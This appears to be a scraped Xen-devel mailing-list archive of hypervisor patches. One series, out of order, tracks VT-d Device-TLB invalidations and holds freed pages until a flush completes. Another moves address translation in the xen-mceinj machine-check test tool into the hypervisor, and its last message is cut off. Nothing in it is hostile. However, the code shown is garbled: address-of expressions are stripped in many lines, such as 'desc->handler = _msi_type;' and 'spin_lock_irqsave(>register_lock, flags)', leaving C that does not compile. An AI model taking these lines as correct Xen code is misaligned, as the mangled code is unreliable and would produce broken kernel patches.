+ *
+ * - Clear IM field in the Invalidation Event Control Register. A QI
+ *   interrupt is generated along with clearing the IP field.
+ * - Clear IWC field in the Invalidateion Coompletion Status register.
+ *
+ * If the Ip is Set, scan agian, instead of generating another interrupt.
+ */
+if ( _qi_msi_ip(iommu) )
+goto scan_again;
+
+/*
+ * No masking of QI interrupt. when a QI interrupt event condition is
+ * detected, hardware issues an interrupt message.
+ */
+_qi_msi_unmask(iommu);
 }
 
 static void do_iommu_qi_completion(unsigned long data)
@@ -1154,6 +1205,14 @@ static void qi_msi_mask(struct irq_desc *desc)
 
 static unsigned int qi_msi_startup(struct irq_desc *desc)
 {
+struct iommu *iommu = desc->action->dev_id;
+
+/*
+ * If the IWC field in the Invalidation Completion Status register was 
already
+ * Set at the time of setting this field, it is not treated as a new 
interrupt
+ * condition.
+ */
+qi_clear_iwc(iommu);
 qi_msi_unmask(desc);
 return 0;
 }
diff --git a/xen/drivers/passthrough/vtd/iommu.h 
b/xen/drivers/passthrough/vtd/iommu.h
index f2ee56d..e6278ee 100644
--- a/xen/drivers/passthrough/vtd/iommu.h
+++ b/xen/drivers/passthrough/vtd/iommu.h
@@ -54,6 +54,11 @@
 #defineDMAR_ICS_REG0x9C/* invalidation completion status register 
*/
 #defineDMAR_IRTA_REG   0xB8/* intr remap */
 
+/*
+ * Register Attributes.
+ */
+#define RW1CS  1  /* A status may be cleard by writing a 1. */
+
 #define OFFSET_STRIDE(9)
 #define dmar_readl(dmar, reg) readl((dmar) + (reg))
 #define dmar_readq(dmar, reg) readq((dmar) + (reg))
@@ -172,6 +177,7 @@
 
 /* IECTL_REG */
 #define DMA_IECTL_IM (((u64)1) << 31)
+#define DMA_IECTL_IP (((u64)1) << 30)
 
 
 /* FSTS_REG */
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 06/13] vt-d: Introduce a new per-domain flag - qi_flag.

[Quan Xu]

The qi_flag is Set when submit Device-TLB invalidation requests. The
qi_flag will be Clear in QI interrupt handler if there are no in-flight
Device-TLB invalidation requests.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c  | 1 +
 xen/drivers/passthrough/vtd/qinval.c | 1 +
 xen/include/xen/hvm/iommu.h  | 3 +++
 3 files changed, 5 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index e3acea5..fda9a84 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1144,6 +1144,7 @@ scan_again:
 {
 qi_table_data(d) = 0;
 qi_table_pollslot(d) = 0;
+QI_FLUSHING(d) = 0;
 }
 rcu_unlock_domain(d);
 }
diff --git a/xen/drivers/passthrough/vtd/qinval.c 
b/xen/drivers/passthrough/vtd/qinval.c
index abe6e9c..0d85ce7 100644
--- a/xen/drivers/passthrough/vtd/qinval.c
+++ b/xen/drivers/passthrough/vtd/qinval.c
@@ -165,6 +165,7 @@ static int queue_invalidate_wait(struct iommu *iommu,
 qinval_entry->q.inv_wait_dsc.lo.sdata = ++ qi_table_data(d);
 qinval_entry->q.inv_wait_dsc.hi.saddr = virt_to_maddr(
 _table_pollslot(d)) >> 2;
+QI_FLUSHING(d) = 1;
 rcu_unlock_domain(d);
 } else {
 qinval_entry->q.inv_wait_dsc.lo.sdata = QINVAL_STAT_DONE;
diff --git a/xen/include/xen/hvm/iommu.h b/xen/include/xen/hvm/iommu.h
index 28e7fc3..e838905 100644
--- a/xen/include/xen/hvm/iommu.h
+++ b/xen/include/xen/hvm/iommu.h
@@ -51,6 +51,7 @@ struct hvm_iommu {
 
 /* IOMMU Queued Invalidation(QI) */
 struct qi_talbe talbe;
+bool_t qi_flag;
 
 /* Features supported by the IOMMU */
 DECLARE_BITMAP(features, IOMMU_FEAT_count);
@@ -63,5 +64,7 @@ struct hvm_iommu {
 (d->arch.hvm_domain.hvm_iommu.talbe.qi_table_status_data)
 #define qi_table_pollslot(d) \
 (d->arch.hvm_domain.hvm_iommu.talbe.qi_table_poll_slot)
+#define QI_FLUSHING(d) \
+(d->arch.hvm_domain.hvm_iommu.qi_flag)
 
 #endif /* __XEN_HVM_IOMMU_H__ */
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 01/13] vt-d: Redefine iommu_set_interrupt() for registering MSI interrupt

[Quan Xu]

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 21 -
 1 file changed, 12 insertions(+), 9 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 1dffc40..17bfb76 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1068,7 +1068,9 @@ static hw_irq_controller dma_msi_type = {
 .set_affinity = dma_msi_set_affinity,
 };
 
-static int __init iommu_set_interrupt(struct acpi_drhd_unit *drhd)
+static int __init iommu_set_interrupt(struct acpi_drhd_unit *drhd,
+hw_irq_controller *irq_ctrl, const char *devname, struct msi_desc *msi,
+void (*irq_handler)(int, void *, struct cpu_user_regs *))
 {
 int irq, ret;
 struct acpi_rhsa_unit *rhsa = drhd_to_rhsa(drhd);
@@ -1084,8 +1086,8 @@ static int __init iommu_set_interrupt(struct 
acpi_drhd_unit *drhd)
 }
 
 desc = irq_to_desc(irq);
-desc->handler = _msi_type;
-ret = request_irq(irq, 0, iommu_page_fault, "dmar", iommu);
+desc->handler = irq_ctrl;
+ret = request_irq(irq, 0, irq_handler, devname, iommu);
 if ( ret )
 {
 desc->handler = _irq_type;
@@ -1094,11 +1096,11 @@ static int __init iommu_set_interrupt(struct 
acpi_drhd_unit *drhd)
 return ret;
 }
 
-iommu->msi.irq = irq;
-iommu->msi.msi_attrib.pos = MSI_TYPE_IOMMU;
-iommu->msi.msi_attrib.maskbit = 1;
-iommu->msi.msi_attrib.is_64 = 1;
-desc->msi_desc = >msi;
+msi->irq = irq;
+msi->msi_attrib.pos = MSI_TYPE_IOMMU;
+msi->msi_attrib.maskbit = 1;
+msi->msi_attrib.is_64 = 1;
+desc->msi_desc = msi;
 
 return 0;
 }
@@ -2179,7 +2181,8 @@ int __init intel_vtd_setup(void)
 if ( !vtd_ept_page_compatible(iommu) )
 iommu_hap_pt_share = 0;
 
-ret = iommu_set_interrupt(drhd);
+ret = iommu_set_interrupt(drhd, _msi_type, "dmar", 
>iommu->msi,
+  iommu_page_fault);
 if ( ret )
 {
 dprintk(XENLOG_ERR VTDPREFIX, "IOMMU: interrupt setup failed\n");
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 11/13] vt-d: If the Device-TLB flush is still not completed when

[Quan Xu]

to destroy virtual machine, schedule and wait on a waitqueue
until the Device-TLB flush is completed.

Signed-off-by: Quan Xu 
---
 xen/common/domain.c | 10 ++
 xen/drivers/passthrough/vtd/iommu.c |  9 +
 xen/include/xen/hvm/iommu.h |  6 ++
 3 files changed, 25 insertions(+)

diff --git a/xen/common/domain.c b/xen/common/domain.c
index 1f62e3b..8ccc1a5 100644
--- a/xen/common/domain.c
+++ b/xen/common/domain.c
@@ -867,6 +867,16 @@ void domain_destroy(struct domain *d)
 rcu_assign_pointer(*pd, d->next_in_hashbucket);
 spin_unlock(_update_lock);
 
+#ifdef HAS_PASSTHROUGH
+/*
+ * If the Device-TLB flush is still not completed, schedule
+ * and wait on a waitqueue until the Device-TLB flush is
+ * completed.
+ */
+if ( need_iommu(d) && QI_FLUSHING(d) )
+wait_for_qi_flushing(d);
+#endif
+
 /* Schedule RCU asynchronous completion of domain destroy. */
 call_rcu(>rcu, complete_domain_destroy);
 }
diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 1297dea..3d98fea 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1070,6 +1070,11 @@ static hw_irq_controller dma_msi_type = {
 };
 
 /* IOMMU Queued Invalidation(QI). */
+void wait_for_qi_flushing(struct domain *d)
+{
+wait_event(qi_wq(d), !QI_FLUSHING(d));
+}
+
 static void qi_clear_iwc(struct iommu *iommu)
 {
 unsigned long flags;
@@ -1188,6 +1193,7 @@ scan_again:
 }
 spin_unlock(_page_lock(d));
 QI_FLUSHING(d) = 0;
+wake_up_all(_wq(d));
 }
 rcu_unlock_domain(d);
 }
@@ -1494,6 +1500,7 @@ static int intel_iommu_domain_init(struct domain *d)
 hd->arch.agaw = width_to_agaw(DEFAULT_DOMAIN_ADDRESS_WIDTH);
 INIT_PAGE_LIST_HEAD(_hold_page_list(d));
 spin_lock_init(_page_lock(d));
+init_waitqueue_head(_wq(d));
 
 return 0;
 }
@@ -1925,6 +1932,8 @@ static void iommu_domain_teardown(struct domain *d)
 if ( list_empty(_drhd_units) )
 return;
 
+destroy_waitqueue_head(_wq(d));
+
 list_for_each_entry_safe ( mrmrr, tmp, >arch.mapped_rmrrs, list )
 {
 list_del(>list);
diff --git a/xen/include/xen/hvm/iommu.h b/xen/include/xen/hvm/iommu.h
index 5dc0033..f661c8c 100644
--- a/xen/include/xen/hvm/iommu.h
+++ b/xen/include/xen/hvm/iommu.h
@@ -20,6 +20,7 @@
 #define __XEN_HVM_IOMMU_H__
 
 #include 
+#include 
 #include 
 #include 
 
@@ -56,12 +57,15 @@ struct hvm_iommu {
 struct page_list_head qi_hold_page_list;
 spinlock_t qi_lock;
 
+struct waitqueue_head qi_wq;
+
 /* Features supported by the IOMMU */
 DECLARE_BITMAP(features, IOMMU_FEAT_count);
 };
 
 void do_qi_flushing(struct domain *d);
 void qi_hold_page(struct domain *d, struct page_info *pg);
+void wait_for_qi_flushing(struct domain *d);
 
 #define iommu_set_feature(d, f)   set_bit((f), domain_hvm_iommu(d)->features)
 #define iommu_clear_feature(d, f) clear_bit((f), domain_hvm_iommu(d)->features)
@@ -76,5 +80,7 @@ void qi_hold_page(struct domain *d, struct page_info *pg);
 (d->arch.hvm_domain.hvm_iommu.qi_hold_page_list)
 #define qi_page_lock(d) \
 (d->arch.hvm_domain.hvm_iommu.qi_lock)
+#define qi_wq(d) \
+(d->arch.hvm_domain.hvm_iommu.qi_wq)
 
 #endif /* __XEN_HVM_IOMMU_H__ */
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 04/13] vt-d: Clear invalidation table in invaidation interrupt handler

[Quan Xu]

if it has no in-flight Device-TLB invalidation request.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.c | 22 ++
 1 file changed, 22 insertions(+)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index db6e3a2..0e912fb 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -1098,6 +1098,28 @@ static void _qi_msi_mask(struct iommu *iommu)
 
 static void _do_iommu_qi(struct iommu *iommu)
 {
+unsigned long nr_dom, i;
+struct domain *d = NULL;
+
+nr_dom = cap_ndoms(iommu->cap);
+i = find_first_bit(iommu->domid_bitmap, nr_dom);
+while ( i < nr_dom )
+{
+if ( iommu->domid_map[i] > 0 )
+{
+d = rcu_lock_domain_by_id(iommu->domid_map[i]);
+if ( d == NULL )
+continue;
+
+if ( qi_table_pollslot(d) == qi_table_data(d) )
+{
+qi_table_data(d) = 0;
+qi_table_pollslot(d) = 0;
+}
+rcu_unlock_domain(d);
+}
+i = find_next_bit(iommu->domid_bitmap, nr_dom, i+1);
+}
 }
 
 static void do_iommu_qi_completion(unsigned long data)
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 10/13] vt-d: Held on the removed page until the Device-TLB flush is completed.

[Quan Xu]

Signed-off-by: Quan Xu 
---
 xen/common/memory.c | 16 +++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/xen/common/memory.c b/xen/common/memory.c
index 61bb94c..4b2def5 100644
--- a/xen/common/memory.c
+++ b/xen/common/memory.c
@@ -253,7 +253,21 @@ int guest_remove_page(struct domain *d, unsigned long gmfn)
 
 guest_physmap_remove_page(d, gmfn, mfn, 0);
 
-put_page(page);
+#ifdef HAS_PASSTHROUGH
+/*
+ * The page freed from the domain should be on held, until the
+ * Device-TLB flush is completed. The page previously associated
+ * with the freed portion of GPA should not be reallocated for
+ * another purpose until the appropriate invalidations have been
+ * performed. Otherwise, the original page owner can still access
+ * freed page though DMA.
+ */
+if ( need_iommu(d) && QI_FLUSHING(d) && !d->is_dying )
+qi_hold_page(d, page);
+else
+#endif
+put_page(page);
+
 put_gfn(d, gmfn);
 
 return 1;
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [Patch RFC 03/13] vt-d: Track the Device-TLB invalidation status in an invalidation table.

[Quan Xu]

Update invalidation table's count of in-flight Device-TLB invalidation
request and assign the address of global polling parameter per domain in
the Status Address of each invalidation wait descriptor, when submit
Device-TLB invalidation requests.

Signed-off-by: Quan Xu 
---
 xen/drivers/passthrough/vtd/iommu.h  |  2 ++
 xen/drivers/passthrough/vtd/qinval.c | 24 
 xen/include/xen/hvm/iommu.h  | 23 +++
 3 files changed, 45 insertions(+), 4 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu.h 
b/xen/drivers/passthrough/vtd/iommu.h
index 52d328f..f2ee56d 100644
--- a/xen/drivers/passthrough/vtd/iommu.h
+++ b/xen/drivers/passthrough/vtd/iommu.h
@@ -453,6 +453,8 @@ struct qinval_entry {
 /* Queue invalidation head/tail shift */
 #define QINVAL_INDEX_SHIFT 4
 
+#define QINVAL_INVALID_DEVICE_ID  ((u16)~0)
+
 #define qinval_present(v) ((v).lo & 1)
 #define qinval_fault_disable(v) (((v).lo >> 1) & 1)
 
diff --git a/xen/drivers/passthrough/vtd/qinval.c 
b/xen/drivers/passthrough/vtd/qinval.c
index b81b0bd..abe6e9c 100644
--- a/xen/drivers/passthrough/vtd/qinval.c
+++ b/xen/drivers/passthrough/vtd/qinval.c
@@ -130,8 +130,9 @@ static void queue_invalidate_iotlb(struct iommu *iommu,
 spin_unlock_irqrestore(>register_lock, flags);
 }
 
+/* device_id parmeter is invalid when iflag is not set. */
 static int queue_invalidate_wait(struct iommu *iommu,
-u8 iflag, u8 sw, u8 fn)
+u8 iflag, u8 sw, u8 fn, u16 device_id)
 {
 s_time_t start_time;
 volatile u32 poll_slot = QINVAL_STAT_INIT;
@@ -139,6 +140,7 @@ static int queue_invalidate_wait(struct iommu *iommu,
 unsigned long flags;
 u64 entry_base;
 struct qinval_entry *qinval_entry, *qinval_entries;
+struct domain *d;
 
 spin_lock_irqsave(>register_lock, flags);
 index = qinval_next_index(iommu);
@@ -152,9 +154,22 @@ static int queue_invalidate_wait(struct iommu *iommu,
 qinval_entry->q.inv_wait_dsc.lo.sw = sw;
 qinval_entry->q.inv_wait_dsc.lo.fn = fn;
 qinval_entry->q.inv_wait_dsc.lo.res_1 = 0;
-qinval_entry->q.inv_wait_dsc.lo.sdata = QINVAL_STAT_DONE;
 qinval_entry->q.inv_wait_dsc.hi.res_1 = 0;
-qinval_entry->q.inv_wait_dsc.hi.saddr = virt_to_maddr(_slot) >> 2;
+
+if ( iflag )
+{
+d = rcu_lock_domain_by_id(iommu->domid_map[device_id]);
+if ( d == NULL )
+return -ENODATA;
+
+qinval_entry->q.inv_wait_dsc.lo.sdata = ++ qi_table_data(d);
+qinval_entry->q.inv_wait_dsc.hi.saddr = virt_to_maddr(
+_table_pollslot(d)) >> 2;
+rcu_unlock_domain(d);
+} else {
+qinval_entry->q.inv_wait_dsc.lo.sdata = QINVAL_STAT_DONE;
+qinval_entry->q.inv_wait_dsc.hi.saddr = virt_to_maddr(_slot) >> 2;
+}
 
 unmap_vtd_domain_page(qinval_entries);
 qinval_update_qtail(iommu, index);
@@ -185,7 +200,8 @@ static int invalidate_sync(struct iommu *iommu)
 struct qi_ctrl *qi_ctrl = iommu_qi_ctrl(iommu);
 
 if ( qi_ctrl->qinval_maddr )
-return queue_invalidate_wait(iommu, 0, 1, 1);
+return queue_invalidate_wait(iommu, 0, 1, 1,
+ QINVAL_INVALID_DEVICE_ID);
 return 0;
 }
 
diff --git a/xen/include/xen/hvm/iommu.h b/xen/include/xen/hvm/iommu.h
index 106e08f..28e7fc3 100644
--- a/xen/include/xen/hvm/iommu.h
+++ b/xen/include/xen/hvm/iommu.h
@@ -23,6 +23,21 @@
 #include 
 #include 
 
+/*
+ * Status Address and Data: Status address and data is used by hardware to 
perform
+ * wait descriptor completion status write when the Status Write(SW) field is 
Set.
+ *
+ * Track the Device-TLB invalidation status in an invalidation table. Update
+ * invalidation table's count of in-flight Device-TLB invalidation request and
+ * assign the address of global polling parameter per domain in the Status 
Address
+ * of each invalidation wait descriptor, when submit Device-TLB invalidation
+ * requests.
+ */
+struct qi_talbe {
+u64 qi_table_poll_slot;
+u32 qi_table_status_data;
+};
+
 struct hvm_iommu {
 struct arch_hvm_iommu arch;
 
@@ -34,6 +49,9 @@ struct hvm_iommu {
 struct list_head dt_devices;
 #endif
 
+/* IOMMU Queued Invalidation(QI) */
+struct qi_talbe talbe;
+
 /* Features supported by the IOMMU */
 DECLARE_BITMAP(features, IOMMU_FEAT_count);
 };
@@ -41,4 +59,9 @@ struct hvm_iommu {
 #define iommu_set_feature(d, f)   set_bit((f), domain_hvm_iommu(d)->features)
 #define iommu_clear_feature(d, f) clear_bit((f), domain_hvm_iommu(d)->features)
 
+#define qi_table_data(d) \
+(d->arch.hvm_domain.hvm_iommu.talbe.qi_table_status_data)
+#define qi_table_pollslot(d) \
+(d->arch.hvm_domain.hvm_iommu.talbe.qi_table_poll_slot)
+
 #endif /* __XEN_HVM_IOMMU_H__ */
-- 
1.8.3.2


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH v2 4/4] tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

[Haozhong Zhang]

This patch removes the address translation in xen-mceinj which
translates the guest physical address passed-in through the argument of
'-p' to the host machine address. Instead, xen-mceinj now passes a flag
MC_MSRINJ_F_GPADDR to ask do_mca() in the hypervisor to do this
translation.

Signed-off-by: Haozhong Zhang 
---
 tools/tests/mce-test/tools/xen-mceinj.c | 152 ++--
 1 file changed, 29 insertions(+), 123 deletions(-)

diff --git a/tools/tests/mce-test/tools/xen-mceinj.c 
b/tools/tests/mce-test/tools/xen-mceinj.c
index 71813c6..31cdb04 100644
--- a/tools/tests/mce-test/tools/xen-mceinj.c
+++ b/tools/tests/mce-test/tools/xen-mceinj.c
@@ -238,12 +238,14 @@ static int add_msr_intpose(xc_interface *xc_handle,
uint32_t cpu_nr,
uint32_t flags,
uint64_t msr,
-   uint64_t val)
+   uint64_t val,
+   domid_t domid)
 {
 uint32_t count;
 
 if ( (msr_inj.mcinj_count &&
-  (cpu_nr != msr_inj.mcinj_cpunr || flags != msr_inj.mcinj_flags)) ||
+  (cpu_nr != msr_inj.mcinj_cpunr || flags != msr_inj.mcinj_flags ||
+   domid != msr_inj.mcinj_domid)) ||
  msr_inj.mcinj_count == MC_MSRINJ_MAXMSRS )
 {
 flush_msr_inj(xc_handle);
@@ -255,6 +257,7 @@ static int add_msr_intpose(xc_interface *xc_handle,
 {
 msr_inj.mcinj_cpunr = cpu_nr;
 msr_inj.mcinj_flags = flags;
+msr_inj.mcinj_domid = domid;
 }
 msr_inj.mcinj_msr[count].reg = msr;
 msr_inj.mcinj_msr[count].value = val;
@@ -268,168 +271,77 @@ static int add_msr_bank_intpose(xc_interface *xc_handle,
 uint32_t flags,
 uint32_t type,
 uint32_t bank,
-uint64_t val)
+uint64_t val,
+domid_t domid)
 {
 uint64_t msr;
 
 msr = bank_addr(bank, type);
 if ( msr == INVALID_MSR )
 return -1;
-return add_msr_intpose(xc_handle, cpu_nr, flags, msr, val);
-}
-
-#define MCE_INVALID_MFN ~0UL
-#define mfn_valid(_mfn) (_mfn != MCE_INVALID_MFN)
-#define mfn_to_pfn(_mfn) (live_m2p[(_mfn)])
-static uint64_t guest_mfn(xc_interface *xc_handle,
-  uint32_t domain,
-  uint64_t gpfn)
-{
-xen_pfn_t *live_m2p = NULL;
-int ret;
-unsigned long hvirt_start;
-unsigned int pt_levels;
-uint64_t * pfn_buf = NULL;
-unsigned long max_mfn = 0; /* max mfn of the whole machine */
-unsigned long m2p_mfn0;
-unsigned int guest_width;
-long max_gpfn,i;
-uint64_t mfn = MCE_INVALID_MFN;
-
-if ( domain > DOMID_FIRST_RESERVED )
-return MCE_INVALID_MFN;
-
-/* Get max gpfn */
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
-sizeof(domain)) + 1;
-if ( max_gpfn <= 0 )
-err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
-
-Lprintf("Maxium gpfn for dom %d is 0x%lx", domain, max_gpfn);
-
-/* Get max mfn */
-if ( !get_platform_info(xc_handle, domain,
-_mfn, _start,
-_levels, _width) )
-err(xc_handle, "Failed to get platform information");
-
-/* Get guest's pfn list */
-pfn_buf = calloc(max_gpfn, sizeof(uint64_t));
-if ( !pfn_buf )
-err(xc_handle, "Failed to alloc pfn buf");
-
-ret = xc_get_pfn_list(xc_handle, domain, pfn_buf, max_gpfn);
-if ( ret < 0 ) {
-free(pfn_buf);
-err(xc_handle, "Failed to get pfn list %x", ret);
-}
-
-/* Now get the m2p table */
-live_m2p = xc_map_m2p(xc_handle, max_mfn, PROT_READ, _mfn0);
-if ( !live_m2p )
-err(xc_handle, "Failed to map live M2P table");
-
-/* match the mapping */
-for ( i = 0; i < max_gpfn; i++ )
-{
-uint64_t tmp;
-tmp = pfn_buf[i];
-
-if (mfn_valid(tmp) &&  (mfn_to_pfn(tmp) == gpfn))
-{
-mfn = tmp;
-Lprintf("We get the mfn 0x%lx for this injection", mfn);
-break;
-}
-}
-
-munmap(live_m2p, M2P_SIZE(max_mfn));
-
-free(pfn_buf);
-return mfn;
-}
-
-static uint64_t mca_gpfn_to_mfn(xc_interface *xc_handle,
-uint32_t domain,
-uint64_t gfn)
-{
-uint64_t index;
-long max_gpfn;
-
-/* If domain is xen, means we want pass index directly */
-if ( domain == DOMID_XEN )
-return gfn;
-
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
-sizeof(domain)) + 1;
-if ( max_gpfn <= 0 )
-err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
-index = gfn % max_gpfn;
-
-return guest_mfn(xc_handle, domain, index);
+return add_msr_intpose(xc_handle, 

[Xen-devel] [PATCH v2 1/4] x86/mce: Fix code style

[Haozhong Zhang]

Remove trailing whitespaces and fix indentations in mce.c and xen_mca.h.

Signed-off-by: Haozhong Zhang 
---
 xen/arch/x86/cpu/mcheck/mce.c | 10 +-
 xen/include/public/arch-x86/xen-mca.h | 30 +++---
 2 files changed, 20 insertions(+), 20 deletions(-)

diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
index 7c2cacc..561257d 100644
--- a/xen/arch/x86/cpu/mcheck/mce.c
+++ b/xen/arch/x86/cpu/mcheck/mce.c
@@ -105,7 +105,7 @@ void x86_mce_callback_register(x86_mce_callback_t cbfunc)
 mc_callback_bank_extended = cbfunc;
 }
 
-/* Machine check recoverable judgement callback handler 
+/* Machine check recoverable judgement callback handler
  * It is used to judge whether an UC error is recoverable by software
  */
 static mce_recoverable_t mc_recoverable_scan = NULL;
@@ -160,9 +160,9 @@ static void mcabank_clear(int banknum)
 }
 
 /* Judging whether to Clear Machine Check error bank callback handler
- * According to Intel latest MCA OS Recovery Writer's Guide, 
+ * According to Intel latest MCA OS Recovery Writer's Guide,
  * whether the error MCA bank needs to be cleared is decided by the mca_source
- * and MCi_status bit value. 
+ * and MCi_status bit value.
  */
 static mce_need_clearbank_t mc_need_clearbank_scan = NULL;
 
@@ -535,7 +535,7 @@ void mcheck_cmn_handler(const struct cpu_user_regs *regs)
 }
 atomic_set(_error, 0);
 }
-mce_barrier_exit(_trap_bar); 
+mce_barrier_exit(_trap_bar);
 
 /* Clear flags after above fatal check */
 mce_barrier_enter(_trap_bar);
@@ -891,7 +891,7 @@ void x86_mcinfo_dump(struct mc_info *mi)
"CPU%d: Machine Check Exception: %16"PRIx64"\n",
mc_global->mc_coreid, mc_global->mc_gstatus);
 } else if (mc_global->mc_flags & MC_FLAG_CMCI) {
-printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n", 
+printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n",
mc_global->mc_coreid);
 } else if (mc_global->mc_flags & MC_FLAG_POLLED) {
 printk(XENLOG_WARNING "POLLED occurred on CPU %d.\n",
diff --git a/xen/include/public/arch-x86/xen-mca.h 
b/xen/include/public/arch-x86/xen-mca.h
index 04382ed..ec1237a 100644
--- a/xen/include/public/arch-x86/xen-mca.h
+++ b/xen/include/public/arch-x86/xen-mca.h
@@ -1,11 +1,11 @@
 /**
  * arch-x86/mca.h
- * 
+ *
  * Contributed by Advanced Micro Devices, Inc.
  * Author: Christoph Egger 
  *
  * Guest OS machine check interface to x86 Xen.
- * 
+ *
  * Permission is hereby granted, free of charge, to any person obtaining a copy
  * of this software and associated documentation files (the "Software"), to
  * deal in the Software without restriction, including without limitation the
@@ -156,7 +156,7 @@ struct mcinfo_msr {
 };
 
 /* contains mc information from other
- * or additional mc MSRs */ 
+ * or additional mc MSRs */
 struct mcinfo_extended {
 struct mcinfo_common common;
 
@@ -193,10 +193,10 @@ struct mcinfo_extended {
 /* L3 cache disable Action */
 #define MC_ACTION_CACHE_SHRINK (0x1 << 2)
 
-/* Below interface used between XEN/DOM0 for passing XEN's recovery action 
- * information to DOM0. 
+/* Below interface used between XEN/DOM0 for passing XEN's recovery action
+ * information to DOM0.
  * usage Senario: After offlining broken page, XEN might pass its page offline
- * recovery action result to DOM0. DOM0 will save the information in 
+ * recovery action result to DOM0. DOM0 will save the information in
  * non-volatile memory for further proactive actions, such as offlining the
  * easy broken page earlier when doing next reboot.
 */
@@ -255,8 +255,8 @@ DEFINE_XEN_GUEST_HANDLE(mc_info_t);
 #define MC_CAPS_AMD_ECX6   /* cpuid level 0x8001 (%ecx) */
 
 struct mcinfo_logical_cpu {
-uint32_t mc_cpunr;  
-uint32_t mc_chipid; 
+uint32_t mc_cpunr;
+uint32_t mc_chipid;
 uint16_t mc_coreid;
 uint16_t mc_threadid;
 uint32_t mc_apicid;
@@ -281,7 +281,7 @@ typedef struct mcinfo_logical_cpu xen_mc_logical_cpu_t;
 DEFINE_XEN_GUEST_HANDLE(xen_mc_logical_cpu_t);
 
 
-/* 
+/*
  * OS's should use these instead of writing their own lookup function
  * each with its own bugs and drawbacks.
  * We use macros instead of static inline functions to allow guests
@@ -388,12 +388,12 @@ struct xen_mc_physcpuinfo {
 #define XEN_MC_msrinject4
 #define MC_MSRINJ_MAXMSRS   8
 struct xen_mc_msrinject {
-   /* IN */
-   uint32_t mcinj_cpunr;   /* target processor id */
-   uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
-   uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
-   uint32_t _pad0;
-   struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
+/* IN */
+uint32_t mcinj_cpunr;   /* target processor id */
+uint32_t mcinj_flags;   

[Xen-devel] [PATCH v2 0/4] Fix tools/xen-mceinj to handle >=4GB guest memory

[Haozhong Zhang]

The existing xen-mceinj can not inject MCE through MSR_MCI_ADDR to a
domain w/ more than 4GB memory, e.g. if domain 0 has more than 4GB
memory, the execution of the command
xen-mceinj -d 0 -t 0 -p 0x2721a900
will fail w/ a message "Failed to get pfn list : Operation not
supported".

The cause is that the hypercall XEN_DOMCTL_getmemlist used by
xen-mceinj to translate the guest physical address (argument of '-p')
to the host machine address always fails if the domain has more than
4GB memory due to the mitigation of XSA-74.

This patchset fixes this problem by moving the translation from
xen-mceinj to the hypervisor, so that it is not necessary to use
XEN_DOMCTL_getmemlist.

The first two patches just fix serval code-style issues, while the
other two are the actual fix.

Changes from v1 to v2:
1. The correct trailing whitespaces are kept in patch 1 and 2.
2. Follow Xen code style in this version.
3. Fix several type and macro issues in patch 3.
4. Add a missing "put_gfn()" in patch 3.
5. Update the error messages in patch 3 to include more information.
6. Use parameterized domain id rather than a hardcoded 0 for several
   functions in xen-mceinj.c.
7. Update the commit message of patch 4 to explicitly state that the
   address translation is moved to the hypervisor.


Haozhong Zhang (4):
  x86/mce: Fix code style
  tools/xen-mceinj: Fix code style
  x86/mce: Translate passed-in GPA to host machine address
  tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

 tools/tests/mce-test/tools/xen-mceinj.c | 192 
 xen/arch/x86/cpu/mcheck/mce.c   |  66 ---
 xen/include/public/arch-x86/xen-mca.h   |  33 +++---
 3 files changed, 120 insertions(+), 171 deletions(-)

-- 
2.4.8


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH v2 3/4] x86/mce: Translate passed-in GPA to host machine address

[Haozhong Zhang]

This patch adds a new flag MC_MSRINJ_F_GPADDR to
xen_mc_msrinject.mcinj_flags, and makes do_mca() to translate the
